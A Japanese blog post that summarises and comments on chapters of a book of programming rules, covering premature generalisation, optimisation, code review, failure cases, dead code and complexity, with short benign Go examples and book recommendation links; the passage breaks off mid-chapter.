章子早川書房Amazon一般化の誘惑著者は、プログラマーが一般的な解決策を好む傾向について語ることから始めます。例えば、赤い看板を見つける関数を書く代わりに、色を引数として受け取る汎用的な関数を書くことを選ぶプログラマーが多いと指摘しています。// 特定の解決策func findRedSign(signs []Sign) *Sign { for _, sign := range signs { if sign.Color() == Color.Red { return &sign } } return nil}// 一般的な解決策func findSignByColor(signs []Sign, color Color) *Sign { for _, sign := range signs { if sign.Color() == color { return &sign } } return nil}この例は、多くのプログラマーにとって馴染み深いものでしょう。私自身、これまでの経験で何度も同様の選択を迫られてきました。一般的な解決策を選ぶ理由として、将来的な拡張性や再利用性を挙げる人が多いですが、著者はここで重要な問いを投げかけています。本当にその一般化は必要なのか?YAGNIの原則著者は、XP(エクストリーム・プログラミング)の原則の一つである「YAGNI」(You Ain\'t Gonna Need It:それは必要にならないよ)を引用しています。この原則は、実際に必要になるまで機能を追加しないことを提唱しています。こういう原則は『プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則』を読めば一通り読めるのでおすすめです。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon例えば、看板検索の例をさらに一般化して、色だけでなく、場所やテキストなども検索できるようにした SignQuery 構造体を考えてみます。type SignQuery struct { Colors []Color Location Location MaxDistance float64 TextPattern string}func findSigns(query SignQuery, signs []Sign) []Sign { // 実装省略}この SignQuery は柔軟で強力に見えますが、著者はこのアプローチに警鐘を鳴らします。なぜなら、この一般化された構造は、実際には使用されない機能を含んでいる可能性が高いからです。さらに重要なことに、この一般化された構造は、将来の要件変更に対して柔軟に対応できないかもしれません。3つの例則著者は、一般化を行う前に少なくとも3つの具体的な使用例を見るべきだと主張します。これは、良い視点だと思いました。1つや2つの例では、パターンを正確に把握するには不十分で、誤った一般化を導く可能性があります。3つの例を見ることで、より正確なパターンの把握と、より控えめで適切な一般化が可能になるという考えは説得力があります。実際の開発現場では、この「3つの例則」を厳密に適用するのは難しいかもしれません。しかし、この原則を意識することで、早すぎる一般化を避け、より適切なタイミングで一般化を行うことができるでしょう。過度な一般化の危険性著者は、過度に一般化されたコードがもたらす問題について詳しく説明しています。特に印象的だったのは、一般化されたソリューションが「粘着性」を持つという指摘です。つまり、一度一般化された解決策を採用すると、それ以外の方法を考えるのが難しくなるということです。例えば、findSigns 関数を使って赤い看板を見つけた後、他の種類の看板を見つける必要が出てきたとき、多くのプログラマーは自然と findSigns 関数を拡張しようとするでしょう。しかし、これが必ずしも最適な解決策とは限りません。// 過度に一般化された関数func findSigns(query ComplexQuery, signs []Sign) []Sign { // 複雑な実装}// 単純で直接的な解決策func findBlueSignsOnMainStreet(signs []Sign) []Sign { var result []Sign for _, sign := range signs { if sign.Color() == Color.Blue && isOnMainStreet(sign.Location()) { result = append(result, sign) } } return result}この例では、findSigns を使用するよりも、直接的な解決策の方がシンプルで理解しやすいことがわかります。著者の主張は、一般化されたソリューションが常に最適とは限らず、時には直接的なアプローチの方が優れている場合があるということです。まとめ著者の「Generalization Takes Three Examples」という原則は、ソフトウェア開発における重要な洞察を提供しています。早すぎる一般化の危険性を認識し、具体的な使用例に基づいて慎重に一般化を進めることの重要性を強調しています。この原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。過度に一般化されたコードは、短期的には柔軟性をもたらすように見えても、長期的には理解や修正が困難になる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる一般化によって複雑化してしまったコードや、逆に一般化が足りずに重複だらけになってしまったコードなど、様々な失敗を思い出しました。最後に、著者の「ハンマーを持つと全てが釘に見える」という比喩は的確だと感じました。一般化されたソリューションは強力なツールですが、それが全ての問題に適しているわけではありません。適切なタイミングで適切なレベルの一般化を行うこと、そしてそのために具体的な使用例をしっかりと観察することの重要性を、この章から学ぶことができました。今後の開発では、「本当にこの一般化が必要か?」「具体的な使用例は十分にあるか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。Rule 5. The First Lesson of Optimization Is Don\'t Optimize第5章「The First Lesson of Optimization Is Don\'t Optimize」は、ソフトウェア開発における最も誤解されやすい、そして最も議論を呼ぶトピックの一つである最適化について深く掘り下げています。著者は、最適化に対する一般的な考え方に挑戦し、実践的かつ効果的なアプローチを提案しています。この章では、最適化の本質、その落とし穴、そして効果的な最適化の方法について詳細に解説されています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。センスの哲学 (文春e-book)作者:千葉 雅也文藝春秋Amazon最適化の誘惑著者は、最適化が多くのプログラマーにとって魅力的なタスクであることを認めています。最適化は、その成功を明確に測定できるという点で、他のプログラミングタスクとは異なります。しかし、著者はこの誘惑に警鐘を鳴らします。ここで著者が引用しているドナルド・クヌースの言葉は、多くのプログラマーにとってお馴染みのものです。小さな効率性については97%の時間を忘れるべきである:早すぎる最適化は諸悪の根源である。この言葉は、最適化に対する慎重なアプローチの必要性を強調しています。著者は、この原則が現代のソフトウェア開発においても依然として重要であることを主張しています。最適化の第一の教訓著者が強調する最適化の第一の教訓は、「最適化するな」というものです。これは一見矛盾しているように見えますが、著者の意図は明確です。最初から最適化を意識してコードを書くのではなく、まずはシンプルで明確なコードを書くべきだというのです。この原則を実践するための具体例として、著者は重み付きランダム選択の関数を挙げています。最初の実装は以下のようなものです。func chooseRandomValue(weights []int, values []interface{}) interface{} { totalWeight := 0 for _, weight := range weights { totalWeight += weight } selectWeight := rand.Intn(totalWeight) for i, weight := range weights { selectWeight -= weight if selectWeight < 0 { return values[i] } } panic(\\"Unreachable\\")}この実装は単純明快で、理解しやすいものです。著者は、この段階で最適化を考えるのではなく、まずはこのシンプルな実装で十分だと主張します。最適化の第二の教訓著者が提唱する最適化の第二の教訓は、「シンプルなコードは簡単に最適化できる」というものです。著者は、未最適化のコードであれば、大きな労力をかけずに5倍から10倍の速度向上を達成できると主張します。この主張を実証するため、著者は先ほどのchooseRandomValue関数の最適化に挑戦します。著者が提案する最適化のプロセスは以下の5ステップです。プロセッサ時間を測定し、属性付けするバグでないことを確認するデータを測定する計画とプロトタイプを作成する最適化し、繰り返すこのプロセスに従って最適化を行った結果、著者は元の実装の約12倍の速度を達成しました。これは、著者の「5倍から10倍の速度向上」という主張を裏付けるものです。過度な最適化の危険性著者は、一度目標の速度向上を達成したら、それ以上の最適化は避けるべきだと警告しています。これは、過度な最適化が複雑性を増し、コードの可読性や保守性を損なう可能性があるためです。著者自身、さらなる最適化のアイデアを持っていることを認めていますが、それらを追求する誘惑に抗うことの重要性を強調しています。代わりに、それらのアイデアをコメントとして残し、将来必要になった時のために保存しておくことを提案しています。まとめ著者の「最適化するな」という主張は、一見すると直感に反するものかもしれません。しかし、この原則の本質は、「適切なタイミングまで最適化を延期せよ」ということです。この章から学べる重要な教訓は以下のとおりです。シンプルで明確なコードを書くことを最優先せよ。本当に必要になるまで最適化を行わない。最適化が必要になった時、シンプルなコードなら容易に最適化できる。最適化は計測と分析に基づいて行うべきで、勘や推測に頼るべきではない。目標を達成したら、それ以上の最適化は避ける。これらの原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。早すぎる最適化は、短期的にはパフォーマンス向上をもたらすかもしれませんが、長期的にはコードの複雑性を増大させ、保守性を低下させる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる最適化によって複雑化してしまったコードや、逆に最適化の機会を見逃してしまった事例など、様々な経験が思い出されます。最後に、著者の「Pythonで高頻度取引アプリケーションを書いてしまっても、必要な部分だけC++に移植すれば50倍から100倍の速度向上が得られる」という指摘は、示唆に富んでいます。これは、最適化の問題に柔軟にアプローチすることの重要性を示しています。今後の開発では、「本当にこの最適化が必要か?」「この最適化によってコードの複雑性がどの程度増すか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。最適化は確かに重要ですが、それ以上に重要なのは、シンプルで理解しやすく、保守性の高いコードを書くことなのです。Rule 6. Code Reviews Are Good for Three Reasons第6章「コードレビューが良い3つの理由」は、ソフトウェア開発プロセスにおけるコードレビューの重要性と、その多面的な利点について深く掘り下げています。著者は、自身の30年以上にわたるプログラミング経験を基に、コードレビューの進化と現代のソフトウェア開発における不可欠な役割を論じています。この章では、コードレビューが単なるバグ発見のツールではなく、知識共有、コード品質向上、そしてチーム全体の生産性向上に寄与する重要な実践であることを示しています。著者の洞察は、現代のアジャイル開発やDevOpsの文脈においても関連性が高く、多くの開発チームにとって有益な示唆を提供しています。コードレビューの効果を最大化するためには、適切なフィードバック方法を考慮することが重要であり、建設的なフィードバックの与え方や受け手の心理を考慮したコミュニケーション方法を学ぶことで、ポジティブな点も含めたバランスのとれたコメント、明確で具体的な改善提案、相手の立場を尊重した表現方法などを活用し、コードレビューを単なる技術的な確認作業ではなくチームの成長と協力を促進する貴重な機会として活用することで、チーム全体のコミュニケーションが改善され、結果としてソフトウェア開発プロセス全体の効率と品質が向上するでしょう。みんなのフィードバック大全作者:三村 真宗光文社Amazonコードレビューの進化著者は、コードレビューが過去30年間でどのように進化してきたかを振り返ることから始めます。かつてはほとんど行われていなかったコードレビューが、現在では多くの開発チームで標準的な実践となっていることを指摘しています。この変化は、ソフトウェア開発の複雑化と、チーム開発の重要性の増大を反映しているように思います。個人的な経験を踏まえると、10年前と比べても、コードレビューの重要性に対する認識は格段に高まっていると感じます。特に、オープンソースプロジェクトの台頭や、GitHubなどのプラットフォームの普及により、コードレビューの文化はさらに広がっていると言えるでしょう。近年、生成AIを活用したコードレビューツールも注目を集めています。例えばPR-agentやGitHub Copilot pull requestは、AIがプルリクエストを分析し、フィードバックを提供します。このようなツールは、人間のレビューアーを補完し、効率的なコード品質管理を可能にします。ただし、AIによるレビューには限界もあります。コンテキストの理解や創造的な問題解決など、人間のレビューアーの強みは依然として重要です。そのため、AIツールと人間のレビューを組み合わせたハイブリッドアプローチが、今後のベストプラクティスとなる可能性があります。コードレビューの3つの利点著者は、コードレビューには主に3つの利点があると主張しています。バグの発見知識の共有コード品質の向上これらの利点について、著者の見解を踏まえつつ、現代のソフトウェア開発の文脈で考察してみます。1. バグの発見著者は、バグ発見がコードレビューの最も明白な利点であるものの、実際にはそれほど効果的ではないと指摘しています。確かに、私の経験でも、コードレビューで見つかるバグは全体の一部に過ぎません。しかし、ここで重要なのは、コードレビューにおけるバグ発見のプロセスです。著者が指摘するように、多くの場合、バグはレビューを受ける側が説明する過程で自ら気づくことが多いのです。これは、ラバーダッキング手法の一種と見なすこともできます。2. 知識の共有著者は、コードレビューが知識共有の優れた方法であると強調しています。これは、現代の開発環境において特に重要な点です。技術の進化が速く、プロジェクトの規模が大きくなる中で、チーム全体の知識レベルを均一に保つことは難しくなっています。コードレビューは、この課題に対する効果的な解決策の一つです。著者が提案する「シニア」と「ジュニア」の組み合わせによるレビューは、特に有効だと考えます。ただし、ここでの「シニア」「ジュニア」は、必ずしも経験年数ではなく、特定の領域やプロジェクトに対する知識の深さを指すと解釈するべきでしょう。3. コード品質の向上著者は、コードレビューの最も重要な利点として、「誰かが見るということを知っていると、みんなより良いコードを書く」という点を挙げています。この指摘は的を射ていると思います。人間の心理として、他人に見られることを意識すると、自然とパフォーマンスが向上します。これは、ソフトウェア開発においても例外ではありません。コードレビューの存在自体が、コード品質を向上させる強力な動機付けとなるのです。コードレビューの実践著者は、自社でのコードレビューの実践について詳しく説明しています。リアルタイムで、インフォーマルに、対話形式で行われるこのアプローチは、多くの利点があります。特に印象的なのは、レビューをダイアログとして捉える視点です。一方的なチェックではなく、相互の対話を通じて理解を深めていくこのアプローチは、知識共有と問題発見の両面で効果的です。一方で、この方法はリモートワークが増加している現代の開発環境では、そのまま適用するのが難しい場合もあります。しかし、ビデオ会議ツールやペアプログラミングツールを活用することで、類似の効果を得ることは可能です。まとめ著者の「コードレビューには3つの良い理由がある」という主張は、説得力があります。バグの発見、知識の共有、コード品質の向上という3つの側面は、いずれも現代のソフトウェア開発において重要な要素です。しかし、これらの利点を最大限に引き出すためには、著者が強調するように、コードレビューを単なる形式的なプロセスではなく、チームのコミュニケーションと学習の機会として捉えることが重要です。個人的な経験を踏まえると、コードレビューの質は、チームの文化と深く関連していると感じます。オープンで建設的なフィードバックを歓迎する文化、継続的な学習を重視する文化を育てることが、効果的なコードレビューの前提条件となるでしょう。また、著者が指摘する「禁止されたコードレビュー」(ジュニア同士のレビュー)については、少し異なる見解を持ちます。確かに、知識の誤った伝播というリスクはありますが、ジュニア同士であっても、互いの視点から学ぶことはあると考えます。ただし、これには適切な監視とフォローアップが必要です。最後に、コードレビューは決して完璧なプロセスではありません。著者も認めているように、全てのバグを見つけることはできません。しかし、それでもコードレビューは、ソフトウェアの品質向上とチームの成長に大きく貢献する貴重な実践であることは間違いありません。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なコードレビューの実践を目指していきたいと思います。特に、レビューをより対話的なプロセスにすること、知識共有の機会として積極的に活用すること、そしてチーム全体のコード品質向上への意識を高めることを意識していきたいと考えています。Rule 7. Eliminate Failure Cases第7章「Eliminate Failure Cases」は、ソフトウェア開発における失敗ケースの排除という重要なトピックを深く掘り下げています。この章を通じて、著者は失敗ケースの排除がプログラムの堅牢性と信頼性を高める上で不可欠であることを強調し、その実践的なアプローチを提示しています。失敗の科学作者:マシュー・サイドディスカヴァー・トゥエンティワンAmazon失敗ケースとは何か著者はまず、失敗ケースの定義から始めています。失敗ケースとは、プログラムが想定外の動作をする可能性のある状況のことです。例えば、ファイルの読み込みに失敗したり、ネットワーク接続が切断されたりする場合などが挙げられます。著者は、これらの失敗ケースを完全に排除することは不可能だが、多くの場合で回避または最小化できると主張しています。この考え方は、エラーハンドリングに対する従来のアプローチとは異なります。多くの開発者は、エラーが発生した後にそれをどう処理するかに焦点を当てがちですが、著者はエラーが発生する可能性自体を減らすことに重点を置いています。これは、防御的プログラミングの一歩先を行く考え方だと言えるでしょう。失敗ケースの排除方法著者は、失敗ケースを排除するための具体的な方法をいくつか提示しています。型安全性の活用:強い型付けを持つ言語を使用することで、多くの失敗ケースを compile time に検出できます。nullの回避:null参照は多くのバグの源となるため、できる限り避けるべきです。Optionalパターンなどの代替手段を使用することを推奨しています。不変性の活用:データを不変に保つことで、予期せぬ状態変更による失敗を防ぐことができます。契約による設計:事前条件、事後条件、不変条件を明確に定義することで、関数やメソッドの正しい使用を強制できます。これらの方法は、単に失敗ケースを処理するのではなく、失敗ケースが発生する可能性自体を減らすことを目指しています。コンパイラの助けを借りる著者は、失敗ケースの排除においてコンパイラの重要性を強調しています。静的型付け言語のコンパイラは、多くの潜在的な問題を事前に検出できます。例えば、未使用の変数や、型の不一致などを検出し、コンパイル時にエラーを報告します。これは、動的型付け言語と比較して大きな利点です。動的型付け言語では、これらの問題が実行時まで検出されない可能性があります。著者は、可能な限り多くのチェックをコンパイル時に行うことで、実行時エラーのリスクを大幅に減らせると主張しています。設計による失敗ケースの排除著者は、適切な設計によって多くの失敗ケースを排除できると主張しています。例えば、状態機械(state machine)を使用することで、無効な状態遷移を防ぐことができます。また、ファクトリーメソッドパターンを使用することで、オブジェクトの不正な初期化を防ぐこともできます。これらの設計パターンを適切に使用することで、コードの構造自体が失敗ケースを排除する役割を果たすことができます。つまり、プログラムの設計段階から失敗ケースの排除を意識することの重要性を著者は強調しています。失敗ケース排除の限界著者は、全ての失敗ケースを排除することは不可能であることも認めています。例えば、ハードウェアの故障やネットワークの遮断など、プログラムの制御外の要因によるエラーは避けられません。しかし、著者はこれらの避けられない失敗ケースに対しても、その影響を最小限に抑える設計が可能だと主張しています。例えば、トランザクションの使用や、べき等性のある操作の設計などが、これらの戦略として挙げられています。これらの方法を使用することで、予期せぬエラーが発生しても、システムを一貫性のある状態に保つことができます。まとめ著者は、失敗ケースの排除が単なるエラーハンドリングの改善以上の意味を持つと主張しています。それは、プログラムの設計と実装の全体的な質を向上させる取り組みなのです。失敗ケースを排除することで、コードはより堅牢になり、バグの発生率が減少し、結果として保守性が向上します。この章から得られる重要な教訓は、エラーを処理する方法を考えるだけでなく、エラーが発生する可能性自体を減らすことに注力すべきだということです。これは、プログラミングの哲学的なアプローチの変更を意味します。私自身、この原則を実践することで、コードの品質が大幅に向上した経験があります。例えば、nullの使用を避け、Optionalパターンを採用することで、null pointer exceptionの発生率を大幅に減らすことができました。また、型安全性を重視することで、多くのバグを compile time に検出し、デバッグにかかる時間を削減することができました。ただし、著者の主張にも若干の批判的な視点を加えるならば、失敗ケースの完全な排除を目指すことで、かえってコードが複雑になり、可読性が低下する可能性もあります。そのため、失敗ケースの排除と、コードの簡潔さのバランスを取ることが重要です。最後に、この章の教訓は、単に個々の開発者のコーディング習慣を改善するだけでなく、チーム全体の開発プロセスや設計方針にも適用できます。例えば、コードレビューの基準に「失敗ケースの排除」を含めたり、アーキテクチャ設計の段階で潜在的な失敗ケースを特定し、それらを排除する戦略を立てたりすることができます。この原則を実践することで、より信頼性の高い、堅牢なソフトウェアを開発することができるでしょう。それは、単にバグの少ないコードを書くということだけでなく、予測可能で、管理しやすい、高品質なソフトウェアを作り出すことを意味します。これは、長期的な視点で見たときに、開発効率の向上とメンテナンスコストの削減につながる重要な投資だと言えるでしょう。Rule 8. Code That Isn\'t Running Doesn\'t Work第8章「Code That Isn\'t Running Doesn\'t Work」は、ソフトウェア開発における重要だが見落とされがちな問題、すなわち使用されていないコード(デッドコード)の危険性について深く掘り下げています。著者は、一見無害に見えるデッドコードが、実際にはプロジェクトの健全性と保守性に大きな影響を与える可能性があることを、具体的な例を通じて説明しています。この章を通じて、コードベースの進化と、それに伴う予期せぬ問題の発生メカニズムについて、実践的な洞察が提供されています。ソフトウェア開発において、「疲れないコード」を作ることも重要です。疲れないコードとは、読みやすく、理解しやすく、そして保守が容易なコードを指します。このようなコードは、長期的なプロジェクトの健全性を維持し、開発者の生産性を向上させる上で極めて重要です。疲れないコードを書くことで、デッドコードの発生を防ぎ、コードベース全体の品質を高めることができるのです。疲れない体をつくる最高の食事術作者:牧田 善二小学館Amazonデッドコードの定義と危険性著者は、デッドコードを「かつては使用されていたが、現在は呼び出されていないコード」と定義しています。これは一見、単なる無駄なコードに過ぎないように思えるかもしれません。しかし、著者はデッドコードが単なる無駄以上の問題を引き起こす可能性があることを強調しています。デッドコードの危険性は、それが「動作しているかどうか分からない」という点にあります。使用されていないコードは、周囲のコードの変更に応じて更新されることがありません。そのため、いつの間にか古くなり、バグを含む可能性が高くなります。さらに悪いことに、そのバグは誰にも気付かれません。なぜなら、そのコードは実行されていないからです。この状況を、著者は「シュレディンガーの猫」になぞらえています。デッドコードは、箱の中の猫のように、観察されるまでその状態(正常か異常か)が分かりません。そして、いざそのコードが再び使用されたとき、予期せぬバグが顕在化する可能性があるのです。コードの進化と予期せぬ問題著者は、コードベースの進化過程を川の流れに例えています。川の流れが変わるように、コードの使用パターンも時間とともに変化します。その過程で、かつては重要だった機能が使われなくなることがあります。これがデッドコードの発生源となります。著者は、この進化の過程を4つのステップに分けて説明しています。各ステップで、コードベースがどのように変化し、それに伴ってどのような問題が潜在的に発生するかを詳細に解説しています。特に印象的だったのは、一見無関係に見える変更が、思わぬところでバグを引き起こす可能性があるという指摘です。例えば、あるメソッドが使われなくなった後、そのメソッドに関連する新機能が追加されたとします。このとき、そのメソッドは新機能に対応するように更新されないかもしれません。そして後日、誰かがそのメソッドを再び使用しようとしたとき、予期せぬバグが発生する可能性があるのです。この例は、デッドコードが単なる無駄以上の問題を引き起こす可能性を明確に示しています。デッドコードは、時間の経過とともに「時限爆弾」となる可能性があるのです。デッドコードの検出と対策著者は、デッドコードの問題に対する一般的な対策として、ユニットテストの重要性を認めつつも、その限界についても言及しています。確かに、すべてのコードにユニットテストを書くことで、使用されていないコードも定期的にテストされることになります。しかし、著者はこのアプローチにも問題があると指摘しています。テストの維持コスト:使用されていないコードのテストを維持することは、それ自体が無駄なリソースの消費となる可能性があります。テストの不完全性:ユニットテストは、実際の使用環境でのすべての状況を網羅することは困難です。特に、コードベース全体の変更に伴う影響を完全にテストすることは難しいでしょう。誤った安心感:テストが通っているからといって、そのコードが実際の使用環境で正しく動作する保証にはなりません。これらの理由から、著者はデッドコードに対する最も効果的な対策は、それを積極的に削除することだと主張しています。デッドコード削除の実践著者の主張は、一見過激に感じるかもしれません。使えそうなコードを削除するのは、もったいないと感じる開発者も多いでしょう。しかし、著者はデッドコードを削除することのメリットを以下のように説明しています。コードベースの簡素化:使用されていないコードを削除することで、コードベース全体が小さくなり、理解しやすくなります。保守性の向上:デッドコードを削除することで、将来的なバグの可能性を減らすことができます。パフォーマンスの向上:使用されていないコードを削除することで、コンパイル時間やビルド時間を短縮できる可能性があります。誤用の防止:存在しないコードは誤って使用されることがありません。著者は、デッドコードを発見したら、それを喜びとともに削除するべきだと主張しています。これは、単にコードを削除するということではなく、プロジェクトの健全性を向上させる積極的な行為なのです。まとめ著者の「Code That Isn\'t Running Doesn\'t Work」という主張は、一見逆説的ですが、長年のソフトウェア開発経験に基づく深い洞察です。使用されていないコードは、単なる無駄以上に危険な存在になり得るのです。この章から学べる重要な教訓は以下のとおりです。デッドコードは潜在的なバグの温床である。コードベースの進化は不可避であり、それに伴ってデッドコードが発生する。ユニットテストはデッドコードの問題に対する完全な解決策ではない。デッドコードを発見したら、躊躇せずに削除すべきである。コードの削除は、プロジェクトの健全性を向上させる積極的な行為である。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。コードベースが大きくなるほど、デッドコードの影響は深刻になります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。「もしかしたら将来使うかもしれない」という理由で残していたコードが、実際には厄介な問題の原因になっていた経験が何度かあります。最後に、著者の「デッドコードの削除は喜びとともに行うべき」という主張は、印象的でした。コードを削除することに抵抗を感じる開発者は多いですが、それをプロジェクトを健全にする積極的な行為と捉え直すことで、より良いソフトウェア開発につながるのではないでしょうか。今後の開発では、「本当にこのコードは必要か?」「このコードは最後にいつ使われた?」という問いを常に意識しながら、より健全で保守性の高いコードベースの維持に努めていきたいと思います。デッドコードの削除は、単にコード量を減らすことではなく、プロジェクト全体の品質と効率を向上させる重要な取り組みなのです。以下に、重要な部分を太字にした文章を示します。Rule 9. Write Collapsible Code第9章「Write Collapsible Code」は、コードの可読性と理解のしやすさに焦点を当てた重要な原則を提示しています。著者は、人間の認知能力、特に短期記憶の限界を考慮に入れたコード設計の重要性を強調しています。この章を通じて、ソフトウェア開発者が直面する「コードの複雑さをいかに管理するか」という永遠の課題に対する実践的なアプローチが示されています。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon短期記憶の限界とコードの理解著者は、人間の短期記憶が平均して7\xb12個の項目しか保持できないという心理学的な知見を基に議論を展開しています。これは、コードを読む際にも同様に適用され、一度に理解できる情報量に限界があることを意味します。この観点から、著者は「コードの崩壊性(collapsibility)」という概念を提唱しています。これは、コードの各部分が容易に抽象化され、単一の概念として理解できるようになっている状態を指します。抽象化の重要性と落とし穴著者は、適切な抽象化が「崩壊性のあるコード」を書く上で重要だと主張しています。しかし、過度な抽象化は逆効果になる可能性があることも指摘しています。チームの共通知識の活用著者は、チーム内で広く理解されている概念や慣用句を活用することの重要性を強調しています。これらは既にチームメンバーの長期記憶に存在するため、新たな短期記憶の負担を生みません。新しい抽象化の導入著者は、新しい抽象化を導入する際の慎重さも強調しています。新しい抽象化は、それが広く使用され、チームの共通知識となるまでは、かえってコードの理解を難しくする可能性があります。まとめ著者の「Write Collapsible Code」という原則は、コードの可読性と保守性を高める上で重要です。この原則は、人間の認知能力の限界を考慮に入れたソフトウェア設計の重要性を強調しています。コードの「崩壊性」を意識することで、開発者は自然と適切な抽象化レベルを選択し、チームの共通知識を活用したコードを書くようになります。これは、長期的にはコードベース全体の品質向上につながります。ただし、「崩壊性」の追求が過度の単純化や不適切な抽象化につながらないよう注意が必要です。適切なバランスを見出すには、継続的な練習と経験が必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「崩壊性のあるコード」を書くという考え方は普遍的に適用できます。Rule 10. Localize Complexity第10章「Localize Complexity」は、ソフトウェア開発における複雑性の管理という重要なトピックを深く掘り下げています。著者は、プロジェクトの規模が大きくなるにつれて複雑性が増大し、それがコードの保守性や拡張性に大きな影響を与えることを指摘しています。この章を通じて、複雑性を完全に排除することは不可能だが、それを効果的に局所化することで管理可能にする方法が示されています。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon複雑性の本質と影響著者は冒頭で「Complexity is the enemy of scale」という強烈な一文を投げかけています。この言葉は、私の15年のエンジニア経験を通じて痛感してきたことでもあります。小規模なプロジェクトでは気にならなかった複雑性が、プロジェクトの成長とともに指数関数的に増大し、開発速度を著しく低下させる様子を何度も目の当たりにしてきました。著者は、複雑性が増大すると、コードの全体像を把握することが困難になり、バグの修正や新機能の追加が予期せぬ副作用を引き起こすリスクが高まると指摘しています。これは、特に長期的なプロジェクトや大規模なシステムにおいて顕著な問題となります。複雑性の局所化著者は、複雑性を完全に排除することは不可能だが、それを効果的に「局所化」することで管理可能になると主張しています。これは重要な洞察です。例えば、著者はsin関数やcos関数の実装を例に挙げています。これらの関数の内部実装は複雑ですが、外部から見たインターフェースはシンプルです。この「複雑性の隠蔽」こそが、優れた設計の本質だと言えるでしょう。この原則は、モダンなソフトウェア開発手法とも密接に関連しています。例えば、マイクロサービスアーキテクチャは、複雑なシステムを比較的独立した小さなサービスに分割することで、全体の複雑性を管理可能にする手法です。各サービスの内部は複雑であっても、サービス間のインターフェースをシンプルに保つことで、システム全体の複雑性を抑制することができます。複雑性の増大を防ぐ実践的アプローチ著者は、複雑性の増大を防ぐための具体的なアプローチをいくつか提示しています。特に印象的だったのは、「同じロジックを複数の場所に実装しない」という原則です。著者は、このアプローチの問題点を明確に指摘しています。新しい条件が追加されるたびに、全ての実装箇所を更新する必要が生じ、コードの保守性が急速に低下します。これは、私が「コピペプログラミング」と呼んでいる悪しき習慣そのものです。代わりに著者が提案しているのは、状態の変更を検知して一箇所でアイコンの表示を更新する方法です。この方法では、新しい条件が追加された場合でも、一箇所の修正で済むため、コードの保守性が大幅に向上します。複雑性の局所化と抽象化の関係著者は、複雑性の局所化と抽象化の関係についても言及しています。適切な抽象化は複雑性を隠蔽し、コードの理解を容易にする強力なツールです。しかし、過度な抽象化は逆効果になる可能性もあります。著者の主張する「複雑性の局所化」は、この問題に対する一つの解決策を提供していると言えるでしょう。複雑性を完全に排除するのではなく、適切に管理された形で局所化することで、システム全体の理解可能性と拡張性を維持することができます。まとめ著者の「Localize Complexity」という原則は、ソフトウェア開発において重要な指針を提供しています。複雑性は避けられないものですが、それを適切に管理することで、大規模で長期的なプロジェクトでも高い生産性と品質を維持することができます。この原則は、特に近年のマイクロサービスアーキテクチャやサーバーレスコンピューティングのトレンドとも密接に関連しています。これらの技術は、大規模なシステムを小さな、管理可能な部分に分割することで、複雑性を局所化し、システム全体の柔軟性と拡張性を高めることを目指しています。ただし、「複雑性の局所化」を追求するあまり、過度に細分化されたコンポーネントを作ってしまい、逆に全体の見通しが悪くなるというリスクもあります。適切なバランスを見出すには、継続的な実践と振り返りが必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「複雑性の局所化」という考え方は普遍的に適用できます。Rule 11. Is It Twice as Good?第11章「Is It Twice as Good?」は、ソフトウェア開発における重要な判断基準を提示しています。著者は、システムの大規模な変更や再設計を行う際の指針として、「新しいシステムは現行の2倍良くなるか?」という問いを投げかけています。この章を通じて、著者はソフトウェアの進化と再設計のバランス、そして変更の決定プロセスについて深い洞察を提供しています。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonアーキテクチャの限界と変更の必要性著者はまず、全てのプロジェクトが最終的にはその設計の限界に直面することを指摘しています。これは、新しい機能の追加、データ構造の変化、パフォーマンスの問題など、様々な形で現れます。この指摘は、私の経験とも強く共鳴します。特に長期的なプロジェクトでは、当初の設計では想定していなかった要求が次々と発生し、それに対応するためにシステムを変更せざるを得なくなる状況を何度も経験してきました。著者は、このような状況に対して3つの選択肢を提示しています。問題を無視する小規模な調整で対応する大規模なリファクタリングを行うこれらの選択肢は、実際のプロジェクトでも常に検討される事項です。しかし、著者が強調しているのは、これらの選択をどのように行うかという点です。ソフトウェアアーキテクチャメトリクス ―アーキテクチャ品質を改善する10のアドバイス作者:Christian Ciceri,Dave Farley,Neal Ford,Andrew Harmel-Law,Michael Keeling,Carola Lilienthal,Jo\xe3o Rosa,Alexander von Zitzewitz,Rene Weiss,Eoin Woodsオーム社Amazon段階的進化vs継続的再発明著者は、プログラマーを2つのタイプに分類しています。Type One:常に既存のソリューションを基に考え、問題を段階的に解決しようとするタイプType Two:問題とソリューションを一緒に考え、システム全体の問題を一度に解決しようとするタイプこの分類は興味深く、自分自身や同僚のアプローチを振り返る良い機会となりました。著者は、どちらのタイプも極端に偏ると問題が生じると警告しています。Type Oneに偏ると、徐々に技術的負債が蓄積され、最終的にはシステムが硬直化してしまいます。一方、Type 